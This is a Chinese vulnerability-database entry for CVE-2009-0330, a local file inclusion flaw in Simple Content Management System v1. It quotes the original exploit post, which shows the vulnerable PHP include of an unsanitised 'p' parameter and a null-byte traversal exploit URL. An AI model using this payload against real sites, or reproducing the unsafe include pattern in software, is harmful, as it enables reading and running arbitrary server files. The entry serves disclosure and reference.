Wss-Pro Simple Content Management System index.php目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117258 漏洞类型 路径遍历
发布时间 2009-01-18 更新时间 2009-01-29
CVE编号 CVE-2009-0330 CNNVD-ID CNNVD-200901-426
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7818
https://cxsecurity.com/issue/WLB-2009010245
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-426
|漏洞详情
SimpleContentManagementSystem(SCMS)1版本中的index.php存在目录遍历漏洞。远程攻击者借助p参数中的目录遍历序列,包含和运行任意的本地文件。
|漏洞EXP
--:local file include:--
---------------------------------  
script:simple content management system v 1
   
-------------------------------------------------------
download from:http://futurekast.com/fcms/php/SCMSv1.zip
   
-------------------------------------------------------

...............................................
vul:/index.php line 34:

<?php 
 if (!isset($_GET['p']))
  include("../SCMSv1/includes/default.txt");
 } else include("includes/" . $_GET['p'] . ".txt");
 ?>
-------------------------------------------
-------------------------------------------
xpl:

http://127.0.0.1/path/index.php?p=[Lfi]%00

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from:[iran]
---------------------------------------------------

# milw0rm.com [2009-01-18]
|参考资料

来源:XF
名称:scms-index-file-include(48081)
链接:http://xforce.iss.net/xforce/xfdb/48081
来源:BID
名称:33330
链接:http://www.securityfocus.com/bid/33330
来源:MILW0RM
名称:7818
链接:http://www.milw0rm.com/exploits/7818
来源:SECUNIA
名称:33608
链接:http://secunia.com/advisories/33608